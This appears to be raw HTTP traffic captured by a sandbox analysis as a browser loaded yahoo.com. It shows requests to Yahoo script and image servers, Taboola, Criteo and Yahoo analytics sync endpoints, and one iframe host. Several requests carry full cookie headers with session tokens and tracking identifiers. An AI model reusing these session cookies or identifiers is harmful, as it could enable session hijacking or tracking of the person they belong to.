Source: global traffic	HTTP traffic detected: GET /yahooweb-network/load.js HTTP/1.1Host: pm-widget.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: tsdtocl.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8 HTTP/1.1Host: api.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /sync?c=72&r=2&j=TRC.getRTUS&us_privacy=1YNN&gdpr=0&gdpr_consent=&gdpr_pd= HTTP/1.1Host: gum.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/js/react-wafer-stream.custom.modern.1ed4fe71b1fc647ddbf37a7050944309.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag/opus-frame.html?referrer=https%3A%2F%2Fwww.yahoo.com%2F&tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383&axids=gam%3Dy-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A%26dv360%3DeS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B%26ydsp%3Dy-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A%26tbla%3Dy-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN&reset_idsync=1 HTTP/1.1Host: opus.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC="19cw~2kzt:19e0~2kzt:19ea~2kzt"; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-sticky-1.2.6-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/c/755f6a7.caas-news_web.min.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-form-1.34.5-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-native-da-1.0.5-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/Lg5WgrqEEIfUVDSR.3ISjQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/usa_today_news_641/e0e4d3ffc4cc8cc7accd7efa9f2d137d.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-action-1.8.1-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-menu-1.3.5-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/f3GRHZeRABNpJiPbHs4McA--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/wwd_409/a6afc674d9b56b0fa8f0f824d671500c.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-template-1.4.3-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/W7BlkVb3JweZnQNoIkHchA--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/miami_herald_mcclatchy_975/6cc52b158992fe8218d9d85b25491d91.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /libtrc/impl.20240929-12-RELEASE.js HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=26; receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /yahooweb-network/load.js HTTP/1.1Host: pm-widget.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /scripts/eid.es5.js HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.yahoo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?c=72&r=2&j=TRC.getRTUS&us_privacy=1YNN&gdpr=0&gdpr_consent=&gdpr_pd= HTTP/1.1Host: gum.criteo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58746/sync?ui=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383&redir=true&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; IDSYNC=19ac~2kzt:19aj~2kzt:19bn~2kzt:19bu~2kzt:19cu~2kzt:19cw~2kzt:19e0~2kzt:19ea~2kzt
Source: global traffic	HTTP traffic detected: GET /ups/58739/cms?partner_id=BLKAI&orig=ono HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; IDSYNC=19ac~2kzt:19aj~2kzt:19bn~2kzt:19bu~2kzt:19cu~2kzt:19cw~2kzt:19e0~2kzt:19ea~2kzt
Source: global traffic	HTTP traffic detected: GET /ups/58782/cms?partner_id=ADOBE&orig=ono&redir2=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; IDSYNC=19ac~2kzt:19aj~2kzt:19bn~2kzt:19bu~2kzt:19cu~2kzt:19cw~2kzt:19e0~2kzt:19ea~2kzt
Source: global traffic	HTTP traffic detected: GET /ups/58692/cms?partner_id=NEUAR&orig=ono HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; IDSYNC=19ac~2kzt:19aj~2kzt:19bn~2kzt:19bu~2kzt:19cu~2kzt:19cw~2kzt:19e0~2kzt:19ea~2kzt
Source: global traffic	HTTP traffic detected: GET /ups/58699/cms?partner_id=SEMAS&orig=ono&sInitiator=external HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; IDSYNC=19ac~2kzt:19aj~2kzt:19bn~2kzt:19bu~2kzt:19cu~2kzt:19cw~2kzt:19e0~2kzt:19ea~2kzt
Source: global traffic	HTTP traffic detected: GET /aaq/notifications/js/sh-5.17.91.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/hc/homepage-pwa-defer-1.1.6.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/js/react-wafer-stream.custom.modern.1ed4fe71b1fc647ddbf37a7050944309.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-sticky-1.2.6-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sg/yahoo_axid--yahoo_paxid/1/um/?axid=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A&paxid=&gdpr=0&gpp_sid=-1&gpp=DBAA&ui=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383&us_privacy=1YNN HTTP/1.1Host: trc.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_pid=27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380; receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /scripts/eid.es5.js HTTP/1.1Host: cdn.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=26; receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
